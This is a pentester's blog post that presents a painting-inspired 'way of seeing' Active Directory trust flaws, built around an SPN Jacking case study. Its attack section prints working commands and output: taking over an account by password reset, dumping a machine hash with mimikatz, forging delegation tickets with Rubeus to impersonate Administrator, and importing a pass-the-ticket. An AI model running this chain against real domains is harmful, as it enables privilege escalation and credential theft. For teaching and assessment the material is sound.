July 6, 2026
Seeing Vulnerabilities Like an Artist [AD Edition]
What painters and pentesters notice before they can explain why

By pohackontas
13 min read
Leonardo da Vinci dissected cadavers to paint more convincing musculature. He sketched flying machines centuries before aviation existed. He didn't see painting and engineering as separate disciplines — both were attempts to understand structure.
History is full of people who moved between analysis and creation without seeing a boundary between them. They weren't switching skills. They were applying the same cognitive process to different domains.
Painters develop that process deliberately. They spend years training themselves to see past the surface of a subject — past what something is — until the underlying structure becomes visible. Not the apple on the table, but the ellipse, the cast shadow, the implied light source. The subject becomes a pretext for reading forces.
I've spent the last four years breaking into systems professionally and many years before that learning to paint. For a long time, I treated those parts of my life as unrelated: one analytical, one creative.
Eventually I noticed they were driven by the same habit.
Looking at something long enough to stop seeing what it claims to be and start seeing what actually holds it together.
I've started calling that process Visual Exploit Cognition (VEC). This is not a new attack technique. It is a way of observing systems.
My working hypothesis is simple: many attack paths are discovered not through enumeration alone, but through recognition of structural inconsistencies in trust relationships.
This article is the first in a series exploring that idea. I won't attempt to prove the entire concept here. Instead, I'll use a single Active Directory case study to demonstrate what I mean.
Before we get technical, I want to show you something.
I painted this few months ago. What interested me wasn't the cathedral itself, but the relationship between structure and perception. At first glance it appears stable. Symmetrical. Permanent. Complete. But the eye keeps drifting toward the fractures, shadows, and dead branches. Not because they're important objects. Because they're interruptions. They reveal tensions inside the composition.
Painters learn to notice those tensions. Pentesters do something surprisingly similar.
Documentation tells us what a system claims to be. Architecture diagrams tell us how it claims to work. Permissions tell us what administrators intended. But attack paths rarely emerge from intention. They emerge from structural tension. The goal isn't to see what the system is presenting. The goal is to see what is actually holding it together.
VEC, in practice, starts here. Now let's get technical
Active Directory is usually taught as a collection of objects — users, computers, groups, permissions. This is technically accurate. But it is often cognitively misleading.
Attack paths rarely emerge because a particular object exists. They emerge because relationships between objects become inconsistent.
This article explores Active Directory as a structure of trust rather than a collection of identities. Using a modified SPN Jacking scenario as a case study, I will show how a vulnerability chain became visible long before exploitation began.
The exploit itself is not the focus. The process of seeing it is.
Active Directory as Structure
When people learn Active Directory, they often think in lists.
Users. Computers. Groups. ACLs. SPNs. Delegation.
This encourages object-based thinking. But attackers rarely exploit isolated objects. They exploit relationships.
A more useful mental model looks like this:
Identity ↓ Permissions ↓ Delegation ↓ Service Representation ↓ Kerberos Trust Decisions
Each layer depends on assumptions inherited from the layer above. When those assumptions drift apart, vulnerabilities appear. The challenge is that drift often becomes visible before it becomes understandable. That observation sits at the core of VEC.
Case Study: The First Anomaly
The environment used for this analysis contained a constrained delegation configuration. The first task appeared simple: сheck for orphaned references.
Get-ConstrainedDelegation -CheckOrphanedGet-ConstrainedDelegation -CheckOrphanedOutput:
ComputerName TargetServer SPN
------------ ------------ ---
APPSRV01 WS01 www/WS01
APPSRV01 WS01 www/WS01.domain.local
APPSRV01 DATABASE01 dhcp/DATABASE01
APPSRV01 DATABASE01 dhcp/DATABASE01.domain.localComputerName TargetServer SPN
------------ ------------ ---
APPSRV01 WS01 www/WS01
APPSRV01 WS01 www/WS01.domain.local
APPSRV01 DATABASE01 dhcp/DATABASE01
APPSRV01 DATABASE01 dhcp/DATABASE01.domain.localMost walkthroughs treat this as a question: which system no longer exists? Answer it and move on. But that wasn't what caught my attention. The anomaly wasn't the missing server. The anomaly was the surviving relationship. Trust was still pointing toward something that no longer existed. The object had disappeared. The reference remained.This is the first place where VEC diverges from enumeration.
Enumeration asks: What is missing?
VEC asks: Why is the structure still preserving a connection to something that no longer exists?
The orphaned SPN wasn't useful because it was exploitable. It was useful because it revealed that representation and reality had already begun to diverge somewhere inside the environment. That observation would later become important.
Following the Tension
Once representation drift appears, the next question becomes natural: who is allowed to redefine representations? Not who owns the service. Not who runs the process. Who has authority over the identity mapping itself — the layer that tells the rest of the system what a service is called and where it lives.
That leads toward SPN ownership. I wasn't looking for SPN Jacking yet. I was looking for control over identity mappings.
$sids = (Get-DomainUser).objectsid
Get-DomainComputer FILESRV03 |
Get-DomainObjectAcl -ResolveGUIDs |
Where-Object { $sids -contains $_.SecurityIdentifier.Value }$sids = (Get-DomainUser).objectsid
Get-DomainComputer FILESRV03 |
Get-DomainObjectAcl -ResolveGUIDs |
Where-Object { $sids -contains $_.SecurityIdentifier.Value }Among the ACLs appeared a permission that mattered:
AceQualifier : AccessAllowed
ActiveDirectoryRights : WriteProperty
ObjectAceType : Validated-SPN
SecurityIdentifier : S-1-5-21-XXXXXXXXX-XXXX-1112AceQualifier : AccessAllowed
ActiveDirectoryRights : WriteProperty
ObjectAceType : Validated-SPN
SecurityIdentifier : S-1-5-21-XXXXXXXXX-XXXX-1112The right itself was clear — Validated-SPN write access. But a right without an owner is just noise. The SecurityIdentifier needed a name.
ConvertFrom-SID S-1-5-21-XXXXXXXXX-XXXX-1112
DOMAIN\svc_backupConvertFrom-SID S-1-5-21-XXXXXXXXX-XXXX-1112
DOMAIN\svc_backupA service account. Not an administrator. Not a privileged group member. An account whose name implied a narrow operational purpose — backup tasks, scheduled jobs, nothing that should touch service identity representation at all.
That gap between implied purpose and actual permission is exactly the kind of asymmetry VEC looks for. The account wasn't misconfigured in an obvious way. It was misconfigured in a quiet way — holding a right that was heavier than its context suggested.
Someone had authority over service identity representation. And that someone had no visible reason to. That matters because SPNs are not services — they are references to services. The distinction sounds subtle, almost pedantic. But subtle distinctions are exactly where trust systems break, because every layer beneath the SPN is making decisions based on that reference, not on the service itself. Control the reference, and you control what the system believes.
At this point the environment began forming a visible pattern:
Orphaned Representation ↓ Representation Control
The composition was becoming asymmetrical. And asymmetry attracts attention.
The Shape Behind the Permissions
The next step was not exploitation. It was understanding who occupied those trust relationships. Before I show the ACL output, I want to show you how I was looking at the environment. In painting, composition analysis starts with reductive lines. You strip away detail — color, texture, subject matter — and trace only the dominant directional forces in the image. Where those forces intersect, the eye stops. Not because of what's there. Because of what's happening between the lines.
I applied the same reduction here.
Each trust relationship becomes a line. Not a node-and-edge graph — a directional force with a weight. The heavier the implied privilege, the heavier the line.
Four lines emerged:
- A delegation chain: APPSRV01 is configured for constrained delegation toward FILESRV03. A horizontal force — a claim of service representation across the environment.
- An SPN ownership line: the identity MSSQL/FILESRV03 exists as a representation. Currently attached to FILESRV03, but a representation is not the thing it represents. It can move. This line is diagonal — it doesn't belong to any single object. It floats.
- A WriteSPN control line: svc_backup has authority to redefine service representations on both FILESRV03 and INTSRV02. A force running in the opposite diagonal. It intersects the SPN ownership line at an uncomfortable angle.
- A GenericAll control line: Raphael holds full control over svc_backup. A shorter force — but it terminates exactly at the point where the other lines converge.
That claim needed verification.
$raphael = (Get-DomainUser raphael).objectsid
Get-DomainObjectAcl -Identity svc_backup | Where-Object { $_.SecurityIdentifier -eq $raphael }
ObjectDN : CN=svc_backup,CN=Users,DC=domain,DC=local
ObjectSID : S-1-5-21-XXXXXXXXX-XXXX-1112
ActiveDirectoryRights : GenericAll
AceQualifier : AccessAllowed
SecurityIdentifier : S-1-5-21-XXXXXXXXX-XXXX-1106
AceType : AccessAllowed
IsInherited : False$raphael = (Get-DomainUser raphael).objectsid
Get-DomainObjectAcl -Identity svc_backup | Where-Object { $_.SecurityIdentifier -eq $raphael }
ObjectDN : CN=svc_backup,CN=Users,DC=domain,DC=local
ObjectSID : S-1-5-21-XXXXXXXXX-XXXX-1112
ActiveDirectoryRights : GenericAll
AceQualifier : AccessAllowed
SecurityIdentifier : S-1-5-21-XXXXXXXXX-XXXX-1106
AceType : AccessAllowed
IsInherited : FalseGenericAll. Not a delegated subset of permissions. Full control — the ability to reset passwords, modify group membership, alter any attribute. Over a service account that already held WriteSPN on two systems. The composition was complete. Raphael could become svc_backup. svc_backup could redefine what FILESRV03 and INTSRV02 claimed to be. And APPSRV01 would keep trusting whatever shape those representations took.
The intersections are where VEC stops.
Not because the exploit is obvious there. Because the composition becomes asymmetrical. Two lines meeting at an angle that shouldn't exist in a well-designed trust structure.
To apply this yourself: list only the trust forces in your environment — not objects, not permissions, but directions of implied authority. Draw each as a line with a direction. Then look for intersections. An intersection means two independent trust forces share a point in the structure. Ask: what happens if the force on one line is redirected through that intersection? Does the other line still hold?
Here, that question had an answer.
Another ACL review confirmed what the composition was already suggesting: multiple users possessed WriteSPN-equivalent influence over different systems. Individually, none of those findings were remarkable. Together they formed a structure.
The trust graph looked roughly like this:
Raphael ↓ GenericAll ↓ svc_backup ↓ WriteSPN ↓ FILESRV03 ↓ svc_backup ↓ WriteSPN ↓ INTSRV02
Notice what happened.
The attack path was becoming visible before any exploit was executed. No tickets had been requested. No hashes had been dumped. No SPNs had been modified.
The structure itself was already suggesting possible movement.
This is where VEC becomes difficult to explain to people who haven't experienced it. The goal is not intuition. The goal is pattern recognition — the same way an experienced artist identifies perspective problems before measuring them, the same way an engineer notices load distribution before running calculations.
The structure starts feeling unstable. Then analysis explains why.
Representation vs Reality
One of the earliest lessons in art is that a representation is not the thing it represents. A painted eye is not an eye. A shadow is not an object. Perspective lines are not architecture. They are abstractions — and the moment you internalize that, you start seeing differently. You stop asking "what is this?" and start asking "what is this standing in for, and what happens if that relationship breaks?"
But here's where it gets interesting: representations can outlive the things they represent.
A painter can overpaint an object — cover it completely, remove it from the composition — and forget to remove its shadow. The shadow remains. The eye reads it as real. It implies a light source, implies a form, implies a presence that no longer exists in the painting. Everything downstream of that shadow still behaves as if the object is there. The viewer doesn't notice. The composition accepts the ghost. And the longer the painting sits unexamined, the more that ghost becomes part of how the work is read — invisible, load-bearing, unquestioned.
Active Directory operates the same way.
Services are rarely accessed directly. Instead they are accessed through layers of representation:
Service ↓ SPN ↓ Account ↓ Kerberos ↓ Authorization
Every layer is interpreting the layer before it. Most of the time those interpretations remain aligned — the system functions, trust holds, nothing breaks. But sometimes they drift apart. A service disappears, but its SPN remains. An account changes hands, but its delegation rights persist. A representation survives its origin, and the layers beneath it keep trusting a shape that no longer means what it once did.
That drift creates attack surface.
And like the ghost shadow in an overworked painting — it's invisible until you're specifically looking for things that shouldn't still be there.
When the Exploit Finally Appeared
Only after the previous observations did SPN Jacking become interesting. Not because it was an exploit. Because it matched the structural inconsistency already visible in the environment.
The critical observation was simple. A service representation could be detached from one machine and attached elsewhere. Conceptually:
Before
FILESRV03 ↓ MSSQL/FILESRV03
After
INTSRV02 ↓ MSSQL/FILESRV03
The service representation remained valid. Its ownership changed. The system still accepted the shape. Even though the meaning of the shape had changed. That is the essence of the attack.
And more importantly: that is exactly the kind of inconsistency VEC attempts to identify. The exploit wasn't creating the inconsistency.It was weaponizing one that already existed.
Why the Attack Was Predictable
After obtaining control over the relevant identities and permissions, the eventual SPN reassignment looked straightforward. Conceptually:
Set-DomainObject -Identity FILESRV03 -Clear serviceprincipalname
Set-DomainObject -Identity INTSRV02 `
-Set @{serviceprincipalname='MSSQL/FILESRV03'}Set-DomainObject -Identity FILESRV03 -Clear serviceprincipalname
Set-DomainObject -Identity INTSRV02 `
-Set @{serviceprincipalname='MSSQL/FILESRV03'}From a technical perspective, this is SPN Jacking. From a structural perspective, something more interesting happened.
By the time these commands ran, the environment had already taught us everything we needed to know. Representations could outlive the objects they described — we saw that in the orphaned SPN that kept pointing toward a server that no longer existed. Representations could be reassigned — we saw that in the WriteSPN right sitting quietly on an account that had no obvious reason to hold it. And delegation trusted representations blindly, without verifying whether the thing being represented still existed, still belonged to the right owner, still meant what it once meant. Three observations. Each one unremarkable in isolation. Together they described a system that would accept whatever shape you gave it, as long as the shape was syntactically correct.
The exploit was simply the logical conclusion of those observations.
Once seen that way, SPN Jacking stops feeling like a clever trick. It starts feeling inevitable — not because the technique is obvious, but because the structure had been announcing its own weakness for as long as anyone was willing to look.
From Observation to Execution
Understanding the structure was one thing. Moving through it was another.
The path from Raphael to INTSRV02 required three distinct steps — each one a direct consequence of what the composition had already revealed.
Converting GenericAll into identity. GenericAll over svc_backup meant full attribute control. The most direct conversion: reset the password and assume the identity.
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity svc_backup -AccountPassword $UserPassword -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'svc_backup'
VERBOSE: [Set-DomainUserPassword] Password for user 'svc_backup' successfully reset$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity svc_backup -AccountPassword $UserPassword -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'svc_backup'
VERBOSE: [Set-DomainUserPassword] Password for user 'svc_backup' successfully resetBut logging in directly as svc_backup would contaminate the current session — writing Kerberos tickets into an active context leaves traces and risks collisions. A sacrificial logon session keeps the operation clean.
.\Rubeus.exe createnetonly /program:powershell.exe /username:svc_backup /password:'Password123!' /domain:domain.local /show
[+] Process : 'powershell.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5000
[+] LUID : 0x1facf7.\Rubeus.exe createnetonly /program:powershell.exe /username:svc_backup /password:'Password123!' /domain:domain.local /show
[+] Process : 'powershell.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5000
[+] LUID : 0x1facf7A new PowerShell window. A fresh Kerberos context. svc_backup's identity, without touching the original session.
Reassigning the representation. From inside the sacrificial session, the SPN reassignment was straightforward — because the structure had already made it inevitable.
Set-DomainObject -Identity FILESRV03 -Clear 'serviceprincipalname' -Verbose
Set-DomainObject -Identity INTSRV02 -Set @{serviceprincipalname='MSSQL/FILESRV03'} -Verbose
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'FILESRV03$'
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'MSSQL/FILESRV03' for object 'INTSRV02$'Set-DomainObject -Identity FILESRV03 -Clear 'serviceprincipalname' -Verbose
Set-DomainObject -Identity INTSRV02 -Set @{serviceprincipalname='MSSQL/FILESRV03'} -Verbose
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'FILESRV03$'
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'MSSQL/FILESRV03' for object 'INTSRV02$'FILESRV03 no longer claimed to be MSSQL/FILESRV03. INTSRV02 now did. The delegation chain still pointed at MSSQL/FILESRV03 — but that name now resolved to a different machine.
Weaponizing the delegation chain. This is where the horizontal line on the diagram — APPSRV01's constrained delegation toward FILESRV03 — becomes the actual attack surface.
APPSRV01 was configured to delegate to MSSQL/FILESRV03. That SPN now lived on INTSRV02. Which meant APPSRV01 could be used to request a service ticket for MSSQL/FILESRV03 — and that ticket would be valid for INTSRV02.
First, obtain APPSRV01's credential material:
.\mimikatz.exe "sekurlsa::logonpasswords" exit
* Username : APPSRV01$
* NTLM : d87f115c478f887df69b45d60d87b558.\mimikatz.exe "sekurlsa::logonpasswords" exit
* Username : APPSRV01$
* NTLM : d87f115c478f887df69b45d60d87b558Then request a S4U2proxy ticket impersonating Administrator:
.\Rubeus.exe s4u /domain:domain.local /user:APPSRV01$ /rc4:d87f115c478f887df69b45d60d87b558 /impersonateuser:administrator /msdsspn:"MSSQL/FILESRV03" /nowrap
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'MSSQL/FILESRV03': doIGp....\Rubeus.exe s4u /domain:domain.local /user:APPSRV01$ /rc4:d87f115c478f887df69b45d60d87b558 /impersonateuser:administrator /msdsspn:"MSSQL/FILESRV03" /nowrap
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'MSSQL/FILESRV03': doIGp...The ticket was issued for MSSQL/FILESRV03. But since that SPN now pointed at INTSRV02, the ticket needed one more transformation — substituting the service name to match the actual target. This works because of how Kerberos validates service tickets. The KDC signs the ticket and embeds authorization data in the PAC — but it does not verify that the service name in the ticket matches the actual host receiving it. That validation is left to the target service itself. Which means a ticket issued for MSSQL/FILESRV03 can be presented to INTSRV02 as long as INTSRV02 holds the corresponding key material — and after the SPN reassignment, it does. The substitution doesn't forge anything. It simply corrects the label on a ticket that the domain already considers valid.
.\Rubeus.exe tgssub /ticket:doIGp... /altservice:CIFS/INTSRV02 /nowrap /ptt
[*] Substituting in alternate service name: CIFS/INTSRV02
[+] Ticket successfully imported!.\Rubeus.exe tgssub /ticket:doIGp... /altservice:CIFS/INTSRV02 /nowrap /ptt
[*] Substituting in alternate service name: CIFS/INTSRV02
[+] Ticket successfully imported!The delegation chain trusted the representation. The representation had moved. The ticket followed. Three steps. Each one visible in the structure before any of them were executed.
What VEC Actually Noticed
It's important to clarify what VEC did not do.
VEC did not discover a hidden ACL. VEC did not reveal a secret command. VEC did not replace technical knowledge.
The technical work remained necessary. What changed was prioritization.
The process looked like this:
Observation: Orphaned SPN
Question: Why does trust remain? ↓ Observation: WriteSPN Control
Question: Who can redefine representation? ↓ Observation: Identity Control
Question: Can representation ownership move? ↓ Observation: Delegation Dependence
Question: What trusts those representations? ↓ Exploit: SPN Jacking
The exploit emerged from the questions. Not the other way around.
Some of this will sound familiar. BloodHound thinks in graphs. Threat modeling thinks in attack surfaces. Both are pattern-based approaches, and both are valuable.
VEC is not a replacement for either.
The difference is in where the pattern originates. BloodHound surfaces relationships algorithmically — it computes the graph and shows you the paths. Threat modeling starts from an architectural model that someone already drew. Both begin with a representation of the system.
VEC begins earlier — before the graph, before the model. It begins with the raw observation that something in the environment feels structurally inconsistent. That feeling is not intuition. It is a trained perceptual response — the same one a painter uses when a composition doesn't resolve correctly before they can articulate why.
The question VEC asks is not "what paths exist?" It is "why does this structure feel wrong?" The graph comes later, as confirmation. Not as the starting point.
Limitations
VEC is not magic. Most anomalies are harmless. Many structural inconsistencies lead nowhere. Visual perception alone cannot replace technical validation.
A painter still measures proportions. An engineer still performs calculations. A pentester still tests assumptions.
VEC exists to guide attention.
Not replace evidence.
Conclusion
Most security methodologies begin with enumeration.
Enumerate users. Enumerate permissions. Enumerate services. Enumerate paths. Enumeration is essential.
But it is not always where discoveries begin.
Sometimes discoveries begin when something feels structurally wrong.
An orphaned relationship. An identity disconnected from purpose. A permission that seems heavier than the object carrying it.
These observations are often dismissed as intuition.
I think they deserve a more precise description.
Visual Exploit Cognition is my attempt to describe that process.
Not a technique. Not a framework. A way of seeing.
The SPN Jacking chain examined in this article did not become visible because the exploit was obvious. It became visible because the structure revealed tensions long before exploitation began. The exploit merely confirmed what the composition was already trying to tell us. The longer I work in security, the less I think vulnerabilities are hidden.
More often, they are visible.
We're simply trained to look at the wrong things.
And once you learn to see the structure underneath the surface, vulnerabilities stop appearing as isolated bugs.
They begin to appear as inevitable consequences of shape.
This article focused on Active Directory because trust relationships are relatively visible there — the structure is explicit, the layers are named. But the same drift appears elsewhere.
In web applications, ownership separates from authorization. In cloud environments, permissions outlive the intent behind them. In AI systems, outputs drift from the reasoning users assume exists underneath.
The environments change. The cognitive pattern remains.
In the next article, the same process moves to a different surface — less hierarchical, more chaotic. The lines are harder to trace. That's exactly why they're worth looking for.
— — — — — — — — — — — — — — — — — — —
Author: pohackontas — Pentester and Red Team Operator. Not a red flag — just a Red Team.